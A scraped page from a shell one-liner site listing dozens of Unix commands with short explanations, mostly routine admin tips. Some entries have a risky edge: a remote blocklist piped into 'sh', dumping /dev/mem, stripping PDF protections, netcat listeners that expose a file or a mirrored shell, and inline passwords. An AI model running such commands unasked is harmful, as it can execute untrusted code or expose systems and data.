ssh unreachable_host SSH connection through host in the middle Unreachable_host is unavailable from local network, but it's available from reachable_host's network. This command creates a connection to unreachable_host through "hidden" connection to reachable_host. ps aux | sort -nk +4 | tail Functions: ps sort ps returns all running processes which are then sorted by the 4th field in numerical order and the top 10 are sent to STDOUT. Show sample output | Comments (7) | Add to favourites | Report as malicious | Submit alternative | Report as a duplicate telnet towel.blinkenlights.nl A long time ago in a galaxy far, far away...... Functions: telnet Watch Star Wars via telnet Use Ctrl-] to stop it. + + - - - - - Reboot machine when everything is hanging If the machine is hanging and the only help would be the power button, this key-combination will help to reboot your machine (more or less) gracefully. R - gives back control of the keyboard S - issues a sync E - sends all processes but init the term singal I - sends all processes but init the kill signal U - mounts all filesystem ro to prevent a fsck at reboot B - reboots the system Save your file before trying this out, this will reboot your machine without warning! http://en.wikipedia.org/wiki/Magic_SysRq_key ping -i 60 -a IP_address Functions: ping Set audible alarm when an IP address comes online Waiting for your server to finish rebooting? Issue the command above and you will hear a beep when it comes online. The -i 60 flag tells ping to wait for 60 seconds between ping, putting less strain on your system. Vary it to your need. The -a flag tells ping to include an audible bell in the output when a package is received (that is, when your server comes online). echo "You can simulate on-screen typing just like in the movies" | pv -qL 10 Functions: echo Simulate typing This will output the characters at 10 per second. less +F somelogfile Functions: less Make 'less' behave like 'tail -f'. Using +F will put less in follow mode. This works similar to 'tail -f'. To stop scrolling, use the interrupt. Then you'll get the normal benefits of less (scroll, etc.). Pressing SHIFT-F will resume the 'tailling'. history | awk '{a[$2]++}END{for(i in a){print a[i] " " i}}' | sort -rn | head Functions: awk sort List of commands you use most often [...] type partial command, kill this command, check something you forgot, yank the command, resume typing. Example use : sudo vim /root/bin/ ##uh... autocomplete doesn't work... sudo ls /root/bin ##ah! that's the name of the file! sudo vim /root/bin/ ##resume here! Thanks readline! awk '/start_pattern/,/stop_pattern/' file.txt Functions: awk I find this terribly useful for grepping through a file, looking for just a block of text. There's "grep -A # pattern file.txt" to see a specific number of lines following your pattern, but what if you want to see the whole block? Say, the output of "dmidecode" (as root): dmidecode | awk '/Battery/,/^$/' Will show me everything following the battery block up to the next block of text. Again, I find this extremely useful when I want to see whole blocks of text based on a pattern, and I don't care to see the rest of the data in output. This could be used against the '/etc/securetty/user' file on Unix to find the block of a specific user. It could be used against VirtualHosts or Directories on Apache to find specific definitions. The scenarios go on for any text formatted in a block fashion. Very handy. disown -a && exit Close shell keeping all subprocess running diff <(sort file1) <(sort file2) Functions: diff sort diff two unsorted files without creating temporary files bash/ksh subshell redirection (as file descriptors) used as input to diff pushd /tmp Push your present working directory to a stack that you can pop later If are a Bash user and you are in a directory and need to go else where for a while but don't want to lose where you were, use pushd instead of cd. cd /home/complicated/path/.I/dont/want/to/forget cd thing/in/tmp popd (returns you to /home/complicated/path/.I/dont/want/to/forget) lsof -i Watch Network Service Activity in Real-time echo "The date is: $(date +%D)" Backticks are evil This is a simple example of using proper command nesting using $() over ``. There are a number of advantages of $() over backticks. First, they can be easily nested without escapes: program1 $(program2 $(program3 $(program4))) versus program1 `program2 \`program3 \`program4\`\`` Second, they're easier to read, then trying to decipher the difference between the backtick and the singlequote: `'. The only drawback $() suffers from is lack of total portability. If your script must be portable to the archaic Bourne shell, or old versions of the C-shell or Korn shell, then backticks are appropriate, otherwise, we should all get into the habit of $(). Your future script maintainers will thank you for producing cleaner code. nc -v -l 80 < file.ext Sharing file through http 80 port From the other machine open a web navigator and go to ip from the machine who launch netcat, http://ip-address/ If you have some web server listening at 80 port then you would need stop them or select another port before launch net cat ;-) * You need netcat tool installed < 1 2 3 4 > Last › echo "!!" > foo.sh Create a script of the last executed command Sometimes commands are long, but useful, so it's helpful to be able to make them permanent without having to retype them. An alternative could use the history command, and a cut/sed line that works on your platform. history -1 | cut -c 7- > foo.sh tr -c "[:digit:]" " " < /dev/urandom | dd cbs=$COLUMNS conv=unblock | GREP_COLOR="1;32" grep --color "[^ ]" Functions: dd grep tr Matrix Style python -m smtpd -n -c DebuggingServer localhost:1025 python smtp server This command will start a simple SMTP server listening on port 1025 of localhost. This server simply prints to standard output all email headers and the email body. getconf LONG_BIT 32 Functions: getconf Easy and direct way to find this out. Show sample output | Comments (1) | Add to favourites | Report as malicious | Submit alternative | Report as a duplicate CDPATH=:..:~:~/projects Set CDPATH to ease navigation CDPATH tells the cd command to look in this colon-separated list of directories for your destination. My preferred order are 1) the current directory, specified by the empty string between the = and the first colon, 2) the parent directory (so that I can cd lib instead of cd ../lib), 3) my home directory, and 4) my ~/projects directory. translate(){ wget -qO- "http://ajax.googleapis.com/ajax/services/language/translate?v=1.0&q=$1&langpair=$2|${3:-en}" | sed 's/.*"translatedText":"\([^"]*\)".*}/\1\n/'; } hola Functions: sed wget Google Translate Usage: translate Example: translate hello en es See this for a list of language codes: http://en.wikipedia.org/wiki/List_of_ISO_639-1_codes Show sample output | Comments (8) | Add to favourites | Report as malicious | Submit alternative | Report as a duplicate lsof -P -i -n Show apps that use internet connection at the moment. (Multi-Language) mplayer -ao pcm -vo null -vc dummy -dumpaudio -dumpfile Rip audio from a video file. Replace and accordingly. wget -qO - "http://www.tarball.com/tarball.gz" | tar zxvf - Functions: tar wget Extract tarball from internet without local saving cat /etc/issue Functions: cat fuser -k filename Functions: fuser Kills a process that is locking a file. Useful when you're trying to unmount a volume and other sticky situations where a rogue process is annoying the hell out of you. sudo dd if=/dev/mem | cat | strings Functions: cat dd sudo A fun thing to do with ram is actually open it up and take a peek. This command will show you all the string (plain text) values in ram while sleep 1;do tput sc;tput cup 0 $(($(tput cols)-29));date;tput rc;done & # Functions: sleep tput Put a console clock in top right corner A nice way to use the console in full screen without forget the current time. you can too add other infos like cpu and mem use. !* Reuse all parameter of the previous command line !* is all of the arguments to the previous command rather than just the last one. This is useful in many situations. Here's a simple example: vi cd /stuff oops! [exit vi, twice] expands to: cd /stuff \[command] escape any command aliases e.g. if rm is aliased for 'rm -i', you can escape the alias by prepending a backslash: rm [file] # WILL prompt for confirmation per the alias \rm [file] # will NOT prompt for confirmation per the default behavior of the command ifconfig | convert label:@- ip.png ifconfig | convert -background none label:@- miff:- | composite -tile pattern:checkerboard - -compose Dst_Over ip.png Functions: ifconfig save command output to image Show sample output | Comments (4) | Add to favourites | Report as malicious | Submit alternative | Report as a duplicate rm !(*.foo|*.bar|*.baz) Example: rm !(*.tex|*.pdf) deletes all except the tex and pdf files. Functions: rm ESC * $ echo <*> gives $ echo aaa aab aba abb baa bab bba bbb $ echo a<*> $ echo aaa aab aba abb but also : $ <*> $ \: \! . .. ... .... \[ \[\[ ]] \{ } 4xml 4xpath 4xslt 4xupdate 822-date 915resolution _a2dismod _a2dissite _a2enmod _a2ensite a2p a2ping aa-audit aa-autodep aa-complain aa-enforce aa-genprof aa-logprof aa-status aa-unconfined accept accessdb aconnect acpi acpi_available acpid acpi_fakekey acpi_listen acroread acyclic (I stopped but it's basically the list of all the commands). Inserts the results of an autocompletion in the command line Pressing ESC then * will insert in the command line the results of the autocompletion. It's hard to explain but if you look the sample output or do echo ESC * you will understand quickly. By the way, few reminders about ESC : - Hold ESC does the same thing as tab tab - 'ESC .' inserts the last argument of last command (can be done many times in order to get the last argument of all previous commands) Show sample output | Comments (16) | Add to favourites | Report as malicious | Submit alternative | Report as a duplicate i="8uyxVmdaJ-w";mplayer -fs $(curl -s "http://www.youtube.com/get_video_info?&video_id=$i" | echo -e $(sed 's/%/\\x/g;s/.*\(v[0-9]\.lscache.*\)/http:\/\/\1/g') | grep -oP '^[^|,]*') MPlayer SVN-r32999-4.4.5 (C) 2000-2011 MPlayer Team Playing http://v3.lscache2.c.youtube.com/videoplayback?sparams=id%2Cexpire%2Cip%2Cipbits%2Citag%2Calgorithm%2Cburst%2Cfactor&fexp=901031%2C907508%2C900304&algorithm=throttle-factor&itag=34&ipbits=8&burst=40&sver=3&signature=97D6F8D1A948EF2451FD4F093ECA7EF3795EE424.73F2B07D5F478ACEAFCEAC98E7BF2623FEED20EC&expire=1299384000&key=yt1&ip=97.0.0.0&factor=1.25&id=f2ecb156675a27ec. Resolving v3.lscache2.c.youtube.com for AF_INET6... Couldn't resolve name for AF_INET6: v3.lscache2.c.youtube.com Resolving v3.lscache2.c.youtube.com for AF_INET... Connecting to server v3.lscache2.c.youtube.com[74.125.15.14]: 80... Cache size set to 320 KBytes Cache fill: 19.54% (64036 bytes) libavformat file format detected. [flv @ 0x2acf540] Estimating duration from bitrate, this may be inaccurate [lavf] stream 0: video (h264), -vid 0 [lavf] stream 1: audio (aac), -aid 0 VIDEO: [H264] 640x360 0bpp 24.000 fps 557.2 kbps (68.0 kbyte/s) Clip info: duration: 162 starttime: 0 totalduration: 162 width: 640 height: 360 videodatarate: 544 audiodatarate: 97 totaldatarate: 649 framerate: 24 bytelength: 13120260 canseekontime: true sourcedata: B4A7D0F03HH1299359484777471 purl: pmsg: ========================================================================== Opening video decoder: [ffmpeg] FFmpeg's libavcodec codec family Selected video codec: [ffh264] vfm: ffmpeg (FFmpeg H.264) Opening audio decoder: [ffmpeg] FFmpeg/libavcodec audio decoders AUDIO: 44100 Hz, 2 ch, s16le, 99.0 kbit/7.02% (ratio: 12379->176400) Selected audio codec: [ffaac] afm: ffmpeg (FFmpeg AAC (MPEG-2/MPEG-4 Audio)) [AO OSS] audio_setup: Can't open audio device /dev/dsp: Device or resource busy AO: [alsa] 44100Hz 2ch s16le (2 bytes per sample) Starting playback... Movie-Aspect is 1.78:1 - prescaling to correct movie aspect. VO: [xv] 640x360 => 640x360 Planar YV12 [fs] A: 2.4 V: 2.4 A-V: -0.000 ct: 0.000 0/ 0 19% 15% 0.4% 7 0 47% Functions: echo grep sed Stream YouTube URL directly to mplayer. This is the result of a several week venture without X. I found myself totally happy without X (and by extension without flash) and was able to do just about anything but watch YouTube videos... so this a the solution I came up with for that. I am sure this can be done better but this does indeed work... and tends to work far better than YouTube's ghetto proprietary flash player ;-) Replace $i with any YouTube ID you want and this will scrape the site for the _real_ URL to the full quality .FLV file on Youtube's server and will then will hand that over to mplayer (or vlc or whatever you want) to be streamed. In some browsers you can replace $i with just a % or put this in a shell script so all YouTube IDs can be handed directly off to your media player of choice for true streaming without the need for Flash or a downloader like clive. (I do however fully recommend clive if you wish to archive videos instead of streaming them) If any interest is shown I would be more than happy to provide similar commands for other sites. Most streaming flash players use similar logic to YouTube. Edit: 05/03/2011 - Original (no longer working) command: mplayer -fs $(echo "http://youtube.com/get_video.php?$(curl -s $youtube_url | sed -n "/watch_fullscreen/s;.*\(video_id.\+\)&title.*;\1;p")") Show sample output | Comments (13) | Add to favourites | Report as malicious | Submit alternative | Report as a duplicate !:- Insert the last command without the last argument (bash) /usr/sbin/ab2 -f TLS1 -S -n 1000 -c 100 -t 2 http://www.google.com/ then !:- http://www.commandlinefu.com/ is the same as /usr/sbin/ab2 -f TLS1 -S -n 1000 -c 100 -t 2 http://www.commandlinefu.com/ awk '!x[$0]++' Remove duplicate entries in a file without sorting. Using awk, find duplicates in a file without sorting, which reorders the contents. awk will not reorder them, and still find and remove duplicates which you can then redirect into another file. vim -x ~ Enter encryption key: Functions: vim Add Password Protection to a file your editing in vim. While I love gpg and truecrypt there's some times when you just want to edit a file and not worry about keys or having to deal needing extra software on hand. Thus, you can use vim's encrypted file format. For more info on vim's encrypted files visit: http://www.vim.org/htmldoc/editing.html#encryption ssh-copy-id username@hostname Copy your SSH public key on a remote machine for passwordless login - the easy way ls -R | grep ":$" | sed -e 's/:$//' -e 's/[^-][^\/]*\//--/g' -e 's/^/ /' -e 's/-/|/' |-Comics |---Anomaly |---Cyanide & Happiness |---Dilbert |---Misc |---Pearls Before Swine |---Russell's Teapot |---xkcd |-Docks |---Niqu Dock 1.2 |-----2D Style |-----3D Style |-----Defaults |---Rounded Reflection |-Ebooks |---The Guitarist's Guide to Composing and Improvising Functions: grep ls sed Graphical tree of sub-directories Prints a graphical directory tree from your current directory alias 'ps?'='ps ax | grep ' ps? ruby 13687 s000 S+ 0:06.91 ruby script/server 13693 s001 R+ 0:00.00 grep ruby Functions: alias grep Easily search running processes (alias). Show sample output | Comments (12) | Add to favourites | Report as malicious | Submit alternative | Report as a duplicate < 1 2 3 4 5 > Last › some_very_long_and_complex_command # label Easy and fast access to often executed commands that are very long and complex. When using reverse-i-search you have to type some part of the command that you want to retrieve. However, if the command is very complex it might be difficult to recall the parts that will uniquely identify this command. Using the above trick it's possible to label your commands and access them easily by pressing ^R and typing the label (should be short and descriptive). UPDATE: One might suggest using aliases. But in that case it would be difficult to change some parts of the command (such as options, file/directory names, etc). ps aux | grep [p]rocess-name > ps aux | grep [m]ingetty Functions: grep ps Find the process you are looking for minus the grepped one As an alternative to using an additional grep -v grep you can use a simple regular expression in the search pattern (first letter is something out of the single letter list ;-)) to drop the grep command itself. Show sample output | Comments (9) | Add to favourites | Report as malicious | Submit alternative | Report as a duplicate readom dev=/dev/scd0 f=/path/to/image.iso Create a CD/DVD ISO image from disk. Many like to use 'dd' for creating CD/DVD iso images. This is bad. Very bad. The reason this is, is 'dd' doesn't have any built-in error checking. So, you don't know if you got all the bits or not. As such, it is not the right tool for the job. Instead, 'reaom' (read optical media) from the wodim package is what you should be using. It has built-in error checking. Similarly, if you want to burn your newly creating ISO, stay away from 'dd', and use: wodim -v -eject /path/to/image.iso ^Z $bg $disown $ sleep 100 [1]+ Stopped sleep 100 $ bg [1]+ sleep 100 & $ disown $ logoff -- Another TTY: $ ps -ef | grep sleep100 Job Control You're running a script, command, whatever.. You don't expect it to take long, now 5pm has rolled around and you're ready to go home... Wait, it's still running... You forgot to nohup it before running it... Suspend it, send it to the background, then disown it... The ouput wont go anywhere, but at least the command will still run... mv filename.{old,new} Functions: mv quickly rename a file pv access.log | gzip > access.log.gz 611MB 0:00:11 [58.3MB/s] [=> ] 15% ETA 0:00:59 Functions: gzip Monitor progress of a command Pipe viewer is a terminal-based tool for monitoring the progress of data through a pipeline. It can be inserted into any normal pipeline between two processes to give a visual indication of how quickly data is passing through, how long it has taken, how near to completion it is, and an estimate of how long it will be until completion. Source: http://www.catonmat.net/blog/unix-utilities-pipe-viewer/ Show sample output | Comments (0) | Add to favourites | Report as malicious | Submit alternative | Report as a duplicate strace -ff -e trace=write -e write=1,2 -p SOME_PID Functions: strace intercept stdout/stderr of another process ? () { echo "$*" | bc -l; } 23? Functions: bc echo defines a handy function for quick calculations from cli. once defined: ? 10*2+3 netstat -an | grep ESTABLISHED | awk '{print $5}' | awk -F: '{print $1}' | sort | uniq -c | awk '{ printf("%s\t%s\t",$2,$1) ; for (i = 0; i < $1; i++) {printf("*")}; print "" }' 64.74.153.141 3 *** 192.168.10.10 5 ***** Functions: awk grep netstat sort uniq Graph # of connections for each hosts. Written for linux, the real example is how to produce ascii text graphs based on a numeric value (anything where uniq -c is useful is a good candidate). vim scp://username@host//path/to/somefile Edit a file on a remote host using vim mount /path/to/file.iso /mnt/cdrom -oloop Mount a .iso file in UNIX/Linux "-o loop" lets you use a file as a block device watch -t -n1 "date +%T|figlet" _ ___ ____ __ _ _ _____ / |/ _ \ _| ___| / /_ _| || |___ | | | (_) (_)___ \| '_ (_) || |_ / / | |\__, |_ ___) | (_) ||__ _/ / |_| /_/(_)____/ \___(_) |_|/_/ Functions: watch This command displays a clock on your terminal which updates the time every second. Press Ctrl-C to exit. A couple of variants: A little bit bigger text: watch -t -n1 "date +%T|figlet -f big" You can try other figlet fonts, too. Big sideways characters: watch -n 1 -t '/usr/games/banner -w 30 $(date +%M:%S)' This requires a particular version of banner and a 40-line terminal or you can adjust the width ("30" here). date -d@1234567890 Functions: date Convert seconds to human-readable format This example, for example, produces the output, "Fri Feb 13 15:26:30 EST 2009" strings /dev/urandom | grep -o '[[:alnum:]]' | head -n 30 | tr -d '\n'; echo user@machine:~$ strings /dev/urandom | grep -o '[[:alnum:]]' | head -n 30 | tr -d '\n'; echo XhJjKL07KNZSDDpwdPm9rACnW3FR0w Functions: grep head strings tr Generate a random password 30 characters long Find random strings within /dev/urandom. Using grep filter to just Alphanumeric characters, and then print the first 30 and remove all the line feeds. sed -n '10,20p' Functions: sed Print all the lines between 10 and 20 of a file Similarly, if you want to print from 10 to the end of line you can use: sed -n '10,$p' filename This is especially useful if you are dealing with a large file. Sometimes you just want to extract a sample without opening the entire file. Credit goes to wbx & robert at the comments section of http://www.commandlinefu.com/commands/view/348/get-line1000-from-text.#comment rm -f !(survivior.txt) Remove all but one specific file notify-send [""] "<body>" Send pop-up notifications on Gnome The title is optional. Options: -t: expire time in milliseconds. -u: urgency (low, normal, critical). -i: icon path. On Debian-based systems you may need to install the 'libnotify-bin' package. Useful to advise when a wget download or a simulation ends. Example: wget URL ; notify-send "Done" du -s * | sort -n | tail Functions: du sort Get the 10 biggest files/folders for the current direcotry curl -u username:password --silent "https://mail.google.com/mail/feed/atom" | tr -d '\n' | awk -F '<entry>' '{for (i=2; i<=NF; i++) {print $i}}' | sed -n "s/<title>\(.*\)<\/title.*name>\(.*\)<\/name>.*/\2 - \1/p" Contact Name - Email Subject Contact Name2 - Email Subject2 (...) Functions: awk sed tr Checks the Gmail ATOM feed for your account, parses it and outputs a list of unread messages. For some reason sed gets stuck on OS X, so here's a Perl version for the Mac: curl -u username:password --silent "https://mail.google.com/mail/feed/atom" | tr -d '\n' | awk -F '<entry>' '{for (i=2; i<=NF; i++) {print $i}}' | perl -pe 's/^<title>(.*)<\/title>.*<name>(.*)<\/name>.*$/$2 - $1/' If you want to see the name of the last person, who added a message to the conversation, change the greediness of the operators like this: curl -u username:password --silent "https://mail.google.com/mail/feed/atom" | tr -d '\n' | awk -F '<entry>' '{for (i=2; i<=NF; i++) {print $i}}' | perl -pe 's/^<title>(.*)<\/title>.*?<name>(.*?)<\/name>.*$/$2 - $1/' dd if=/dev/zero of=/dev/null bs=1M count=32768 32768+0 records in 32768+0 records out 34359738368 bytes (34 GB) copied, 2.56305 s, 13.4 GB/s Functions: dd Processor / memory bandwidthd? in GB/s Read 32GB zero's and throw them away. How fast is your system? ss -p for one line per process: ss -p | cat for established sockets only: ss -p | grep STA for just process names: ss -p | cut -f2 -sd\" ss -p | grep STA | cut -f2 -d\" open . Open Finder from the current Terminal location I did not know this, i'd like to share... ffmpeg -f x11grab -r 25 -s 800x600 -i :0.0 /tmp/outputFile.mpg Record a screencast and convert it to an mpeg Grab X11 input and create an MPEG at 25 fps with the resolution 800x600 mkdir -p a/long/directory/path Functions: mkdir Make directory including intermediate directories This will create the intermediate directories that do not exist. I did not know about this for a long time. man -t manpage | ps2pdf - filename.pdf Create a pdf version of a manpage Quick and dirty version. I made a version that checks if a manpage exists (but it's not a oneliner). You must have ps2pdf and of course Ghostscript installed in your box. Enhancements appreciated :-) ‹ First < 2 3 4 5 6 > Last › pv sourcefile > destfile 22MB 0:00:02 [ 121MB/s] [=================> ] 22% ETA 0:00:06 Copy a file using pv and watch its progress pv allows a user to see the progress of data through a pipeline, by giving information such as time elapsed, percentage completed (with progress bar), current throughput rate, total data transferred, and ETA. (man pv) echo "rm -rf /unwanted-but-large/folder" | batch job 6 at 2009-02-04 19:03 Run a command only when load average is below a certain threshold Good for one off jobs that you want to run at a quiet time. The default threshold is a load average of 0.8 but this can be set using atrun. lsmod | perl -e 'print "digraph \"lsmod\" {";<>;while(<>){@_=split/\s+/; print "\"$_[0]\" -> \"$_\"\n" for split/,/,$_[3]}print "}"' | dot -Tpng | display - Functions: dot lsmod perl parse `lsmod' output and pass to `dot' drawing utility then finally pass it to an image viewer read day month year <<< $(date +'%d %m %y') Functions: date read Multiple variable assignments from command output in BASH This version uses read instead of eval. ssh -t hostA ssh hostB directly ssh to host B that is only accessible through host A Of course you need to be able to access host A for this ;-) % screen -r someuser/ Functions: screen Share a terminal screen with others If you enable multiuser, then you can permit others to share your screen session. The following conditions apply: 1. screen must be suid root; 2. "multiuser on" must be configured in ~/.screenrc; 3. control the others user(s) access with "aclchg": # ----- from ~/.screenrc-users ----- aclchg someuser +rx "#?" #enable r/o access to "someuser" aclchg someuser -x "#,at,aclchg,acladd,acldel,quit" # don't allow these aclchg otheruser +rwx "#?" # enable r/w access to "otheruser" aclchg otheruser -x "#,at,aclchg,acladd,acldel,quit" # don't allow them to use these commands # ----- After doing this (once), you start your session with: $ screen Then, the other user can join your terminal session(s) with youruserid: $ screen -r youruserid/ Note: the trailing "/" is required. Multiple users can share the same screen simultaneously, each with independent access controlled precisely with "aclchg" in the ~/.screenrc file. I use the following setup: # ~/.screenrc-base # default screenrc on any host source $HOME/.screenrc-base source $HOME/.screenrc-$HOST source $HOME/.screenrc-users Then, the base configurations are in ~/.screenrc-base; the host-specific configurations are in ~/.screenrc-$HOST, and the user configurations are in ~/.screenrc-users. The host-specific .screenrc file might contain some host-specific screen commands; e.g.: # ~/.screen-myhost screen -t 'anywhere' /bin/tcsh screen -t 'anywhere1' /bin/tcsh # ---- The .screenrc-base contains: ## I find typing ^a (Control-a) awkward. So I set the escape key to CTRL-j instead of a. escape ^Jj termcapinfo xterm* ti@:te@: autodetach on zombie kr verbose on multiuser on ssh -MNf <user>@<host> Create a persistent connection to a machine Create a persistent SSH connection to the host in the background. Combine this with settings in your ~/.ssh/config: Host host ControlPath ~/.ssh/master-%r@%h:%p ControlMaster no All the SSH connections to the machine will then go through the persisten SSH socket. This is very useful if you are using SSH to synchronize files (using rsync/sftp/cvs/svn) on a regular basis because it won't create a new socket each time to open an ssh connection. watch -n 1 mysqladmin --user=<user> --password=<password> processlist Monitor the queries being run by MySQL Watch is a very useful command for periodically running another command - in this using mysqladmin to display the processlist. This is useful for monitoring which queries are causing your server to clog up. More info here: http://codeinthehole.com/archives/2-Monitoring-MySQL-processes.html rtfm() { help $@ || man $@ || $BROWSER "http://www.google.com/search?q=$@"; } RTFM function RTFMFTW. man hier Show File System Hierarchy Curious about differences between /bin, /usr/bin, and /usr/local/bin? What should be in the /sbin dir? Try this command to find out. Tested against Red Hat & OS X gs -q -dNOPAUSE -dBATCH -sDEVICE=pdfwrite -sOutputFile=OUTPUT.pdf -c .setpdfwrite -f INPUT.pdf Functions: gs Remove security limitations from PDF documents using ghostscript Remove security from PDF document using this very simple command on Linux and OSX. You need ghostscript for this baby to work. find -not -empty -type f -printf "%s\n" | sort -rn | uniq -d | xargs -I{} -n1 find -type f -size {}c -print0 | xargs -0 md5sum | sort | uniq -w32 --all-repeated=separate Functions: find md5sum sort uniq xargs Find Duplicate Files (based on size first, then MD5 hash) This dup finder saves time by comparing size first, then md5sum, it doesn't delete anything, just lists them. curl icanhazip.com return external ip for I in $(mysql -e 'show databases' -s --skip-column-names); do mysqldump $I | gzip > "$I.sql.gz"; done Backup all MySQL Databases to individual files watch -n 1 'echo "obase=2;`date +%s`" | bc' 1001010111100001110000011011110 Binary Clock Create a binary clock. sudo touch /forcefsck Functions: sudo touch Run a file system check on your next boot. The empty file /forcefsck causes the file system check fsck to be run next time you boot up, after which it will be removed. This works too: sudo >/forcefsck cmdfu(){ curl "http://www.commandlinefu.com/commands/matching/$@/$(echo -n $@ | openssl base64)/plaintext"; } # commandlinefu.com by David Winterbottom # bash or tcsh redirect both to stdout and to a file echo "Hello World." | tee -a hello.txt Search commandlinefu.com from the command line using the API Usage: cmdfu hello world ssh -t remote_host screen -r Functions: screen ssh Attach screen over ssh ssh-keygen -R <the_offending_host> Functions: ssh ssh-keygen Remove a line in a text file. Useful to fix In this case it's better do to use the dedicated tool sed -n 5p <file> jeju:[xxx] > sed -n 5p test line 5 jeju:[xxx] > cat test line 1 line 2 line 3 line 4 line 6 line 7 line 8 line 9 line 10 jeju:[xxx] > To print a specific line from a file You can get one specific line during any procedure. Very interesting to be used when you know what line you want. Show sample output | Comments (2) | Add to favourites | Report as malicious | Submit alternative | Report as a duplicate wget http://www.youtube.com/watch?v=dQw4w9WgXcQ -qO- | sed -n "/fmt_url_map/{s/[\'\"\|]/\n/g;p}" | sed -n '/^fmt_url_map/,/videoplayback/p' | sed -e :a -e '$q;N;5,$D;ba' | tr -d '\n' | sed -e 's/\(.*\),\(.\)\{1,3\}/\1/' | wget -i - -O surprise.flv Resolving v3.lscache3.c.youtube.com... 74.125.170.46 Connecting to v3.lscache3.c.youtube.com|74.125.170.46|:80... connected. HTTP request sent, awaiting response... 200 OK Length: 25120289 (24M) [video/x-flv] Saving to: `surprise.flv' Functions: sed tr wget Nothing special required, just wget, sed & tr! What is my public IP-address? Short command, easy to remember tar -tf <file.tar.gz> | xargs rm -r Functions: rm tar xargs Remove all files previously extracted from a tar(.gz) file. ps awwfux | less -S Functions: less ps Show a 4-way scrollable process tree with full details. If you want a visual representation of the parent/child relationships between processes, this is one easy way to do it. It's useful in debugging collections of shell scripts, because it provides something like a call traceback. When a shell script breaks, just remember "awwfux". :<C-R><C-W> Bring the word under the cursor on the :ex line in Vim Very handy to bring the word currently under the cursor into a :s command in Vim. If the cursor was on the word "eggs": :s/ ==> :s/eggs ‹ First < 3 4 5 6 7 > Last › du -b --max-depth 1 | sort -nr | perl -pe 's{([0-9]+)}{sprintf "%.1f%s", $1>=2**30? ($1/2**30, "G"): $1>=2**20? ($1/2**20, "M"): $1>=2**10? ($1/2**10, "K"): ($1, "")}e' 3.3G . 539.5M ./doc 494.2M ./locale 324.2M ./javadoc 229.3M ./icons 187.0M ./gnome 156.1M ./texmf 154.0M ./kde4 141.1M ./eclipse 135.5M ./fonts 91.4M ./gimp 62.1M ./java Functions: du perl sort Sort the size usage of a directory tree by gigabytes, kilobytes, megabytes, then bytes. Probably only works with GNU du and modern perls. wget -r -l1 --no-parent -nH -nd -P/tmp -A".gif,.jpg" http://example.com/images This recursively downloads all images from a given website to your /tmp directory. The -nH and -nd switches disable downloading of the directory structure. cp /work/host/phone/ui/main.cpp !#$:s/host/target using `!#$' to referance backward-word expand to: cp /work/host/phone/ui/main.cpp /work/target/phone/ui/main.cpp !# The entire command line typed so far. script -qf | tee >(nc -kl 5000) >(nc -kl 5001) >(nc -kl 5002) Functions: script tee Broadcast your shell thru ports 5000, 5001, 5002 ... run 'nc yourip 5000', 'nc yourip 5001' or 'nc yourip 5002' elsewhere will produce an exact same mirror of your shell. This is handy when you want to show someone else some amazing stuff in your shell without giving them control over it. for code in {0..255}; do echo -e "\e[38;05;${code}m $code: Test"; done Show numerical values for each of the 256 colors in bash Same as http://www.commandlinefu.com/commands/view/5876, but for bash. This will show a numerical value for each of the 256 colors in bash. Everything in the command is a bash builtin, so it should run on any platform where bash is installed. Prints one color per line. If someone is interested in formatting the output, paste the alternative. chmod --reference file1 file2 Functions: chmod Makes the permissions of file2 the same as file1 Also works with: chgrp --reference file1 file2 chown --reference file1 file2 knock <host> 3000 4000 5000 && ssh -p <port> user@host && knock <host> 5000 4000 3000 Port Knocking! Knock on ports to open a port to a service (ssh for example) and knock again to close the port. You have to install knockd. See example config file below. [options] logfile = /var/log/knockd.log [openSSH] sequence = 3000,4000,5000 seq_timeout = 5 command = /sbin/iptables -A INPUT -i eth0 -s %IP% -p tcp --dport 22 -j ACCEPT tcpflags = syn [closeSSH] sequence = 5000,4000,3000 command = /sbin/iptables -D INPUT -i eth0 -s %IP% -p tcp --dport 22 -j ACCEPT rename 'y/ /_/' * Functions: rename replace spaces in filenames with underscores This command will replace all the spaces in all the filenames of the current directory with underscores. There are other commands that do this here, but this one is the easiest and shortest. wget -qO - http://infiltrated.net/blacklisted|awk '!/#|[a-z]/&&/./{print "iptables -A INPUT -s "$1" -j DROP"}' wget -qO - http://infiltrated.net/blacklisted|awk '!/#|[a-z]/&&/./{print "iptables -A INPUT -s "$1" -j DROP"}'|head -n 2 iptables -A INPUT -s 99.245.29.38 -j DROP iptables -A INPUT -s 97.81.54.226 -j DROP To have them automatically blocked: wget -qO - http://infiltrated.net/blacklisted|awk '!/#|[a-z]/&&/./{print "iptables -A INPUT -s "$1" -j DROP"}'|sh Block known dirty hosts from reaching your machine Blacklisted is a compiled list of all known dirty hosts (botnets, spammers, bruteforcers, etc.) which is updated on an hourly basis. This command will get the list and create the rules for you, if you want them automatically blocked, append |sh to the end of the command line. It's a more practical solution to block all and allow in specifics however, there are many who don't or can't do this which is where this script will come in handy. For those using ipfw, a quick fix would be {print "add deny ip from "$1" to any}. Posted in the sample output are the top two entries. Be advised the blacklisted file itself filters out RFC1918 addresses (10.x.x.x, 172.16-31.x.x, 192.168.x.x) however, it is advisable you check/parse the list before you implement the rules cat ~/.ssh/id_rsa.pub | ssh user@machine "mkdir ~/.ssh; cat >> ~/.ssh/authorized_keys" Functions: cat ssh Copy your ssh public key to a server from a machine that doesn't have ssh-copy-id If you use Mac OS X or some other *nix variant that doesn't come with ssh-copy-id, this one-liner will allow you to add your public key to a remote machine so you can subsequently ssh to that machine without a password. ccze A robust, modular log coloriser CCZE is a robust and modular log coloriser, with plugins for apm, exim, fetchmail, httpd, postfix, procmail, squid, syslog, ulogd, vsftpd, xferlog and more. Examples: tail -f /var/log/messages | ccze -A tail -f /var/log/exim4/mainlog | ccze -A dpkg -S /usr/bin/ls user@host:$ dpkg -S /bin/ls coreutils: /bin/ls user@host:$ dpkg -S ls | wc -l 12831 (Debian/Ubuntu) Discover what package a file belongs to 'dpkg -S' just matches the string you supply it, so just using 'ls' as an argument matches any file from any package that has 'ls' anywhere in the filename. So usually it's a good idea to use an absolute path. You can see in the second example that 12 thousand files that are known to dpkg match the bare string 'ls'. lsof -i tcp:80 COMMAND PID USER FD TYPE DEVICE SIZE NODE NAME which program is this port belongs to ? Sometimes you need to use a port that is already opened by some program , and you don't know who to "kill" for it to release - so, now you do ! echo | openssl s_client -connect www.google.com:443 2>/dev/null |openssl x509 -dates -noout check site ssl certificate dates remotely connects to an https site, fetches the ssl certificate and displays the valid dates for the cert ls !(*.gz) Functions: ls ls not pattern Negative shell globs already come with 